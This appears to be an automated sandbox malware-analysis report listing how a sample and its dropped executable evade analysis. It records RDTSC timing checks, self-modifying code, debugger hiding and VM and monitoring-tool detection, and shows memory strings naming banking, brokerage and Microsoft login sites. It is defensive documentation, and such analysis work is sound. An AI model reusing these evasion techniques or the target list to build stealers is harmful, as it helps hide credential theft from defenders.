Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8EFD second address: FF8F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov esi, dword ptr [ebp+122D3C09h] 0x0000000f push 00000000h 0x00000011 jmp 00007FD28914AC7Dh 0x00000016 call 00007FD28914AC79h 0x0000001b jmp 00007FD28914AC86h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jp 00007FD28914AC76h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8F45 second address: FF8F4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8F4B second address: FF8F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FD28914AC76h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8F61 second address: FF8F6B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD2886DB1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8F6B second address: FF8FD8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD28914AC78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FD28914AC7Dh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jng 00007FD28914AC7Eh 0x0000001d push ebx 0x0000001e jo 00007FD28914AC76h 0x00000024 pop ebx 0x00000025 pop eax 0x00000026 push ecx 0x00000027 adc dx, 7411h 0x0000002c pop edi 0x0000002d push 00000003h 0x0000002f mov dword ptr [ebp+122D1C67h], eax 0x00000035 push 00000000h 0x00000037 mov esi, 0CAC4BBEh 0x0000003c push 00000003h 0x0000003e call 00007FD28914AC7Fh 0x00000043 movzx esi, si 0x00000046 pop edi 0x00000047 push B5D4EEF6h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FD28914AC7Dh 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8FD8 second address: FF903B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FD2886DB1A6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 75D4EEF6h 0x00000013 jmp 00007FD2886DB1B7h 0x00000018 lea ebx, dword ptr [ebp+1245E9D1h] 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FD2886DB1A8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 or dword ptr [ebp+122D1C67h], eax 0x0000003e mov dword ptr [ebp+122D1D67h], ecx 0x00000044 xchg eax, ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 pushad 0x00000049 popad 0x0000004a pop eax 0x0000004b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 100AE55 second address: 100AE5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1017BE5 second address: 1017BEF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1018152 second address: 1018174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pushad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FD28914AC86h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101859B second address: 10185A1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 100F16B second address: 100F181 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD28914AC80h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 100F181 second address: 100F19A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1B5h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 100F19A second address: 100F1A4 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD28914AC76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1018EA7 second address: 1018EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1019049 second address: 101904D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101904D second address: 1019057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1019057 second address: 101906F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD28914AC7Ah 0x0000000d jnp 00007FD28914AC76h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101906F second address: 1019073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 10191C5 second address: 10191CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 10191CB second address: 10191CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1019391 second address: 1019396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1019396 second address: 101939C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FEB2FF second address: FEB308 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FEB308 second address: FEB347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD2886DB1B4h 0x0000000b jo 00007FD2886DB1A6h 0x00000011 popad 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD2886DB1ADh 0x0000001a jns 00007FD2886DB1AEh 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FEB347 second address: FEB35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD28914AC82h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FEB35F second address: FEB363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FEB363 second address: FEB37F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jng 00007FD28914AC76h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101EA22 second address: 101EA27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101D8FA second address: 101D8FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101F1EA second address: 101F201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1B3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101F201 second address: 101F205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101F205 second address: 101F21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FD2886DB1A8h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101F21B second address: 101F246 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FD28914AC7Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007FD28914AC76h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 101F246 second address: 101F24A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 10235C6 second address: 10235CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026D00 second address: 1026D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026D04 second address: 1026D12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FD28914AC76h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 10261D4 second address: 10261FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jp 00007FD2886DB1A6h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2886DB1B4h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 10261FA second address: 1026203 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026203 second address: 1026209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026209 second address: 102620E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 102637B second address: 1026393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD2886DB1AEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026393 second address: 1026397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 102650E second address: 1026539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B9h 0x00000007 je 00007FD2886DB1A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007FD2886DB1ACh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026539 second address: 1026541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026541 second address: 1026545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026545 second address: 1026549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026549 second address: 1026569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD2886DB1B2h 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026569 second address: 1026570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: 1026570 second address: 1026578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 27CA57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DECB1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 28CBFE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2FBB70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Special instruction interceptor: First address: E6DE5E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Special instruction interceptor: First address: E6DF26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Special instruction interceptor: First address: 101DA46 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Special instruction interceptor: First address: 10B7EA6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Memory allocated: 5630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Memory allocated: 57F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Memory allocated: 77F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Code function: 3_2_00FF6089 rdtsc

3_2_00FF6089

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6572	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe TID: 1408	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.000000000557C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2177595464.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263229004.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263229004.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263229004.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177595464.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2094697594.000000000557C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2094697594.0000000005577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: ollydbg
